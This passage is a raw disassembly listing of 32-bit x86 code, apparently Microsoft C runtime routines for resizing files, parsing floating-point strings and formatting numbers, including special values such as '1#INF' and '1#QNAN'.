loc_42511D mov eax, esi shr eax, 4 push eax call sub_41F50E mov edi, eax pop ecx test edi, edi jnz short loc_42515C loc_42511D: ; CODE XREF: sub_4250B2+3Bj ; sub_4250B2+4Aj ... push esi push 8 push dword_4DD3A4 nop call near ptr 27C0000h mov edi, eax test edi, edi jnz short loc_425156 loc_425132: ; CODE XREF: sub_4250B2+26j cmp dword_4DBE58, 0 jz short loc_425156 push esi call sub_41FBB2 test eax, eax pop ecx jz short loc_42515F jmp short loc_4250D3 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250B2+48j push [ebp+arg_0] loc_42514B: ; CODE XREF: sub_4250B2+ABj push 0 push edi call sub_41BF70 add esp, 0Ch loc_425156: ; CODE XREF: sub_4250B2+7Ej ; sub_4250B2+87j mov eax, edi loc_425158: ; CODE XREF: sub_4250B2+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42515C: ; CODE XREF: sub_4250B2+69j push esi jmp short loc_42514B ; --------------------------------------------------------------------------- loc_42515F: ; CODE XREF: sub_4250B2+92j xor eax, eax jmp short loc_425158 sub_4250B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E3 loc_425163: ; CODE XREF: sub_4241E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DD040, esi jle short loc_4251B6 loc_425172: ; CODE XREF: sub_4241E3+FD1j mov eax, dword_4DC02C mov eax, [eax+esi*4] test eax, eax jz short loc_4251AD test byte ptr [eax+0Ch], 83h jz short loc_425191 push eax call sub_41BA3B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425191 inc edi loc_425191: ; CODE XREF: sub_4241E3+F9Fj ; sub_4241E3+FABj cmp esi, 14h jl short loc_4251AD mov eax, dword_4DC02C push dword ptr [eax+esi*4] call sub_41BA91 mov eax, dword_4DC02C pop ecx and dword ptr [eax+esi*4], 0 loc_4251AD: ; CODE XREF: sub_4241E3+F99j ; sub_4241E3+FB1j inc esi cmp esi, dword_4DD040 jl short loc_425172 loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4241E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251BB proc near ; CODE XREF: sub_42423B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DD160 jnb loc_4252F0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD060[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_4252F0 push 1 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4252FA push 2 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4252FA push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42529D push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BF70 loc_425240: ; DATA XREF: ___:00438CC8o push 8000h push ebx call sub_425D78 add esp, 14h mov [ebp+arg_4], eax loc_425251: ; CODE XREF: sub_4251BB+BDj mov eax, 1000h cmp edi, eax jge short loc_42525C mov eax, edi loc_42525C: ; CODE XREF: sub_4251BB+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42527A sub edi, eax test edi, edi jle short loc_425290 jmp short loc_425251 ; --------------------------------------------------------------------------- loc_42527A: ; CODE XREF: sub_4251BB+B5j cmp dword_4DBDF0, 5 jnz short loc_42528D mov dword_4DBDEC, 0Dh loc_42528D: ; CODE XREF: sub_4251BB+C6j or esi, 0FFFFFFFFh loc_425290: ; CODE XREF: sub_4251BB+BBj push [ebp+arg_4] push ebx call sub_425D78 pop ecx pop ecx jmp short loc_4252DD ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_4251BB+71j jge short loc_4252DD push 0 push [ebp+arg_4] push ebx call sub_422F09 push ebx call sub_4240AA add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4252DD mov dword_4DBDEC, 0Dh nop call near ptr 26808B7h mov dword_4DBDF0, eax loc_4252DD: ; CODE XREF: sub_4251BB+E0j ; sub_4251BB:loc_42529Dj ... push 0 push [ebp+arg_0] push ebx call sub_422F09 add esp, 0Ch mov eax, esi pop edi jmp short loc_4252FD ; --------------------------------------------------------------------------- loc_4252F0: ; CODE XREF: sub_4251BB+1Aj ; sub_4251BB+36j mov dword_4DBDEC, 9 loc_4252FA: ; CODE XREF: sub_4251BB+4Ej ; sub_4251BB+63j or eax, 0FFFFFFFFh loc_4252FD: ; CODE XREF: sub_4251BB+133j pop esi pop ebx leave retn sub_4251BB endp ; =============== S U B R O U T I N E ======================================= sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp ; sub_4249DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425317 cmp ecx, esi jnb short loc_42531A loc_425317: ; CODE XREF: sub_425301+10j push 1 pop eax loc_42531A: ; CODE XREF: sub_425301+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425301 endp ; =============== S U B R O U T I N E ======================================= sub_425322 proc near ; CODE XREF: sub_4253DB+40p ; sub_4253DB+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 inc dword ptr [esi+8] loc_425354: ; CODE XREF: sub_425322+19j ; sub_425322+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_42536C inc dword ptr [esi+8] loc_42536C: ; CODE XREF: sub_425322+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425301 add esp, 0Ch pop edi pop esi retn sub_425322 endp ; =============== S U B R O U T I N E ======================================= sub_425380 proc near ; CODE XREF: sub_4253DB+30p ; sub_4253DB+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_425380 endp ; =============== S U B R O U T I N E ======================================= sub_4253AE proc near ; CODE XREF: sub_425973+1C8p ; sub_425DEE+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4253AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42544F push edi mov [ebp+arg_8], eax loc_425402: ; CODE XREF: sub_4253DB+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_425380 push ebx call sub_425380 lea eax, [ebp+var_10] push eax push ebx call sub_425322 push ebx call sub_425380 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425322 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425402 xor edx, edx pop edi loc_42544F: ; CODE XREF: sub_4253DB+21j ; sub_4253DB+9Fj cmp [ebx+8], edx jnz short loc_42547C mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42544F ; --------------------------------------------------------------------------- loc_42547C: ; CODE XREF: sub_4253DB+77j mov esi, 8000h loc_425481: ; CODE XREF: sub_4253DB+B9j test [ebx+8], esi jnz short loc_425496 push ebx call sub_425380 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425481 ; --------------------------------------------------------------------------- loc_425496: ; CODE XREF: sub_4253DB+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4253DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254A2 proc near ; CODE XREF: sub_424D28+17p ; sub_424D55+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4254DD: ; CODE XREF: sub_4254A2+52j mov cl, [edi] cmp cl, 20h jz short loc_4254F3 cmp cl, 9 jz short loc_4254F3 cmp cl, 0Ah jz short loc_4254F3 cmp cl, 0Dh jnz short loc_4254F6 loc_4254F3: ; CODE XREF: sub_4254A2+40j ; sub_4254A2+45j ... inc edi jmp short loc_4254DD ; --------------------------------------------------------------------------- loc_4254F6: ; CODE XREF: sub_4254A2+4Fj push 4 pop esi loc_4254F9: ; CODE XREF: sub_4254A2+AEj ; sub_4254A2+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42577C ; default ; jumptable 00425505 case 10 jmp off_425943[eax*4] ; switch jump loc_42550C: ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 0 jl short loc_42551D cmp bl, 39h jg short loc_42551D loc_425516: ; CODE XREF: sub_4254A2+C4j ; sub_4254A2+118j push 3 jmp loc_42573A ; --------------------------------------------------------------------------- loc_42551D: ; CODE XREF: sub_4254A2+6Dj ; sub_4254A2+72j cmp bl, byte_43D098 jnz short loc_42552C loc_425525: ; CODE XREF: sub_4254A2+124j push 5 jmp loc_425772 ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4254A2+81j movsx eax, bl sub eax, 2Bh jz short loc_425552 dec eax dec eax jz short loc_425546 sub eax, 3 jnz loc_425815 jmp loc_4255D5 ; --------------------------------------------------------------------------- loc_425546: ; CODE XREF: sub_4254A2+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_425552: ; CODE XREF: sub_4254A2+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_42555B: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 1 mov [ebp+var_10], edx jl short loc_425568 cmp bl, 39h jle short loc_425516 loc_425568: ; CODE XREF: sub_4254A2+BFj cmp bl, byte_43D098 jz loc_425630 cmp bl, 2Bh jz short loc_4255AA cmp bl, 2Dh jz short loc_4255AA cmp bl, 30h jz short loc_4255D5 loc_425583: ; CODE XREF: sub_4254A2+207j cmp bl, 43h jle loc_425815 cmp bl, 45h jle short loc_4255A3 cmp bl, 63h jle loc_425815 cmp bl, 65h jg loc_425815 loc_4255A3: ; CODE XREF: sub_4254A2+EDj push 6 jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255AA: ; CODE XREF: sub_4254A2+D5j ; sub_4254A2+DAj ... dec edi push 0Bh jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255B2: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 2 jl short loc_4255C0 cmp bl, 39h jle loc_425516 loc_4255C0: ; CODE XREF: sub_4254A2+113j cmp bl, byte_43D098 jz loc_425525 cmp bl, 30h jnz loc_42578A loc_4255D5: ; CODE XREF: sub_4254A2+9Fj ; sub_4254A2+DFj mov eax, edx jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_4255DC: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_10], edx ; jumptable 00425505 case 3 loc_4255DF: ; CODE XREF: sub_4254A2+184j cmp dword_43D094, edx jle short loc_4255F8 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425606 ; --------------------------------------------------------------------------- loc_4255F8: ; CODE XREF: sub_4254A2+143j mov ecx, off_43CE88 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425606: ; CODE XREF: sub_4254A2+154j test eax, eax jz short loc_425628 cmp [ebp+var_4], 19h jnb short loc_425620 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425623 ; --------------------------------------------------------------------------- loc_425620: ; CODE XREF: sub_4254A2+16Cj inc [ebp+var_8] loc_425623: ; CODE XREF: sub_4254A2+17Cj mov bl, [edi] inc edi jmp short loc_4255DF ; --------------------------------------------------------------------------- loc_425628: ; CODE XREF: sub_4254A2+166j cmp bl, byte_43D098 jnz short loc_425697 loc_425630: ; CODE XREF: sub_4254A2+CCj mov eax, esi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425637: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+var_4], 0 ; jumptable 00425505 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425650 loc_425643: ; CODE XREF: sub_4254A2+1ACj cmp bl, 30h jnz short loc_425650 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425643 ; --------------------------------------------------------------------------- loc_425650: ; CODE XREF: sub_4254A2+19Fj ; sub_4254A2+1A4j ... cmp dword_43D094, edx jle short loc_425669 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425669: ; CODE XREF: sub_4254A2+1B4j mov ecx, off_43CE88 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425677: ; CODE XREF: sub_4254A2+1C5j test eax, eax jz short loc_425697 cmp [ebp+var_4], 19h jnb short loc_425692 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425692: ; CODE XREF: sub_4254A2+1DDj mov bl, [edi] inc edi jmp short loc_425650 ; --------------------------------------------------------------------------- loc_425697: ; CODE XREF: sub_4254A2+18Cj ; sub_4254A2+1D7j cmp bl, 2Bh jz loc_4255AA cmp bl, 2Dh jz loc_4255AA jmp loc_425583 ; --------------------------------------------------------------------------- loc_4256AE: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp dword_43D094, edx ; jumptable 00425505 case 5 mov [ebp+var_24], edx jle short loc_4256CA movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_4256D8 ; --------------------------------------------------------------------------- loc_4256CA: ; CODE XREF: sub_4254A2+215j mov ecx, off_43CE88 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4256D8: ; CODE XREF: sub_4254A2+226j test eax, eax jz loc_42578A mov eax, esi jmp short loc_42573B ; --------------------------------------------------------------------------- loc_4256E4: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o lea ecx, [edi-2] ; jumptable 00425505 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_4256F4 cmp bl, 39h jle short loc_425738 loc_4256F4: ; CODE XREF: sub_4254A2+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425770 dec eax dec eax jz short loc_425764 sub eax, 3 jnz loc_425818 loc_425709: ; CODE XREF: sub_4254A2+2A4j push 8 jmp short loc_425772 ; --------------------------------------------------------------------------- loc_42570D: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], edx ; jumptable 00425505 case 8 loc_425710: ; CODE XREF: sub_4254A2+276j cmp bl, 30h jnz short loc_42571A mov bl, [edi] inc edi jmp short loc_425710 ; --------------------------------------------------------------------------- loc_42571A: ; CODE XREF: sub_4254A2+271j cmp bl, 31h jl loc_425815 cmp bl, 39h jg loc_425815 jmp short loc_425738 ; --------------------------------------------------------------------------- loc_42572E: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 7 jl short loc_425741 cmp bl, 39h jg short loc_425741 loc_425738: ; CODE XREF: sub_4254A2+250j ; sub_4254A2+28Aj push 9 loc_42573A: ; CODE XREF: sub_4254A2+76j pop eax loc_42573B: ; CODE XREF: sub_4254A2+240j dec edi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425741: ; CODE XREF: sub_4254A2+28Fj ; sub_4254A2+294j cmp bl, 30h jnz short loc_42578A jmp short loc_425709 ; --------------------------------------------------------------------------- loc_425748: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11 jz short loc_425778 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425770 dec eax dec eax jnz loc_425818 loc_425764: ; CODE XREF: sub_4254A2+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425770: ; CODE XREF: sub_4254A2+258j ; sub_4254A2+2B8j push 7 loc_425772: ; CODE XREF: sub_4254A2+85j ; sub_4254A2+103j ... pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425778: ; CODE XREF: sub_4254A2+2AAj push 0Ah dec edi pop eax loc_42577C: ; CODE XREF: sub_4254A2+5Dj ; sub_4254A2+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425505 case 10 jz loc_42581A jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_42578A: ; CODE XREF: sub_4254A2+12Dj ; sub_4254A2+238j ... mov edi, [ebp+arg_8] jmp loc_42581A ; --------------------------------------------------------------------------- loc_425792: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], 1 ; jumptable 00425505 case 9 xor esi, esi loc_42579B: ; CODE XREF: sub_4254A2+339j cmp dword_43D094, 1 jle short loc_4257B3 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4257C2 ; --------------------------------------------------------------------------- loc_4257B3: ; CODE XREF: sub_4254A2+300j mov ecx, off_43CE88 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4257C2: ; CODE XREF: sub_4254A2+30Fj test eax, eax jz short loc_4257E2 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4257DD mov bl, [edi] inc edi jmp short loc_42579B ; --------------------------------------------------------------------------- loc_4257DD: ; CODE XREF: sub_4254A2+334j mov esi, 1451h loc_4257E2: ; CODE XREF: sub_4254A2+322j mov [ebp+var_1C], esi loc_4257E5: ; CODE XREF: sub_4254A2+371j cmp dword_43D094, 1 jle short loc_4257FD movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_42580C ; --------------------------------------------------------------------------- loc_4257FD: ; CODE XREF: sub_4254A2+34Aj mov ecx, off_43CE88 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42580C: ; CODE XREF: sub_4254A2+359j test eax, eax jz short loc_425815 mov bl, [edi] inc edi jmp short loc_4257E5 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_4254A2+99j ; sub_4254A2+E4j ... dec edi jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425818: ; CODE XREF: sub_4254A2+261j ; sub_4254A2+2BCj mov edi, ecx loc_42581A: ; CODE XREF: sub_4254A2+2DDj ; sub_4254A2+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425902 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425846 cmp [ebp+var_45], 5 jl short loc_42583A inc [ebp+var_45] loc_42583A: ; CODE XREF: sub_4254A2+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425849 ; --------------------------------------------------------------------------- loc_425846: ; CODE XREF: sub_4254A2+38Dj mov eax, [ebp+var_C] loc_425849: ; CODE XREF: sub_4254A2+3A2j cmp [ebp+var_4], 0 jbe loc_4258F8 loc_425853: ; CODE XREF: sub_4254A2+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425861 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425853 ; --------------------------------------------------------------------------- loc_425861: ; CODE XREF: sub_4254A2+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4253DB mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425880 neg eax loc_425880: ; CODE XREF: sub_4254A2+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42588B add eax, [ebp+arg_10] loc_42588B: ; CODE XREF: sub_4254A2+3E4j cmp [ebp+var_24], ecx jnz short loc_425893 sub eax, [ebp+arg_14] loc_425893: ; CODE XREF: sub_4254A2+3ECj cmp eax, 1450h jle short loc_4258CA mov [ebp+var_2C], 1 loc_4258A1: ; CODE XREF: sub_4254A2+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4258AD: ; CODE XREF: sub_4254A2+454j ; sub_4254A2+45Ej cmp [ebp+var_2C], 0 jz short loc_425913 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_4258CA: ; CODE XREF: sub_4254A2+3F6j cmp eax, 0FFFFEBB0h jge short loc_4258DA mov [ebp+var_30], 1 jmp short loc_4258A1 ; --------------------------------------------------------------------------- loc_4258DA: ; CODE XREF: sub_4254A2+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42600E mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_4258F8: ; CODE XREF: sub_4254A2+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_425902: ; CODE XREF: sub_4254A2+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425913: ; CODE XREF: sub_4254A2+40Fj cmp [ebp+var_30], 0 jz short loc_425928 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425928: ; CODE XREF: sub_4254A2+426j ; sub_4254A2+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4254A2 endp ; --------------------------------------------------------------------------- off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r dd offset loc_42555B ; jump table for switch statement dd offset loc_4255B2 dd offset loc_4255DC dd offset loc_425637 dd offset loc_4256AE dd offset loc_4256E4 dd offset loc_42572E dd offset loc_42570D dd offset loc_425792 dd offset loc_42577C dd offset loc_425748 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4259D5 mov byte ptr [ebx+2], 2Dh jmp short loc_4259D9 ; --------------------------------------------------------------------------- loc_4259D5: ; CODE XREF: sub_425973+5Aj mov byte ptr [ebx+2], 20h loc_4259D9: ; CODE XREF: sub_425973+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_4259FF test edi, edi jnz short loc_4259FF cmp [ebp+arg_0], edi jnz short loc_4259FF loc_4259EA: ; CODE XREF: sub_425973+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425BFD ; --------------------------------------------------------------------------- loc_4259FF: ; CODE XREF: sub_425973+6Cj ; sub_425973+70j ... cmp dx, si jnz short loc_425A7E mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425A18 cmp [ebp+arg_0], 0 jz short loc_425A27 loc_425A18: ; CODE XREF: sub_425973+9Dj test edi, 40000000h jnz short loc_425A27 push offset a1Snan ; "1#SNAN" jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_425973+A3j ; sub_425973+ABj test cx, cx jz short loc_425A41 cmp edi, 0C0000000h jnz short loc_425A41 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Ind ; "1#IND" jmp short loc_425A50 ; --------------------------------------------------------------------------- loc_425A41: ; CODE XREF: sub_425973+B7j ; sub_425973+BFj cmp edi, eax jnz short loc_425A68 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Inf ; "1#INF" loc_425A50: ; CODE XREF: sub_425973+CCj lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425A5F: ; CODE XREF: sub_425973+109j and [ebp+var_4], 0 jmp loc_425BD6 ; --------------------------------------------------------------------------- loc_425A68: ; CODE XREF: sub_425973+C5j ; sub_425973+D0j ... push offset a1Qnan ; "1#QNAN" loc_425A6D: ; CODE XREF: sub_425973+B2j lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425A5F ; --------------------------------------------------------------------------- loc_425A7E: ; CODE XREF: sub_425973+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42600E add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425ADF lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425DEE pop ecx pop ecx loc_425ADF: ; CODE XREF: sub_425973+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425AF9 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi 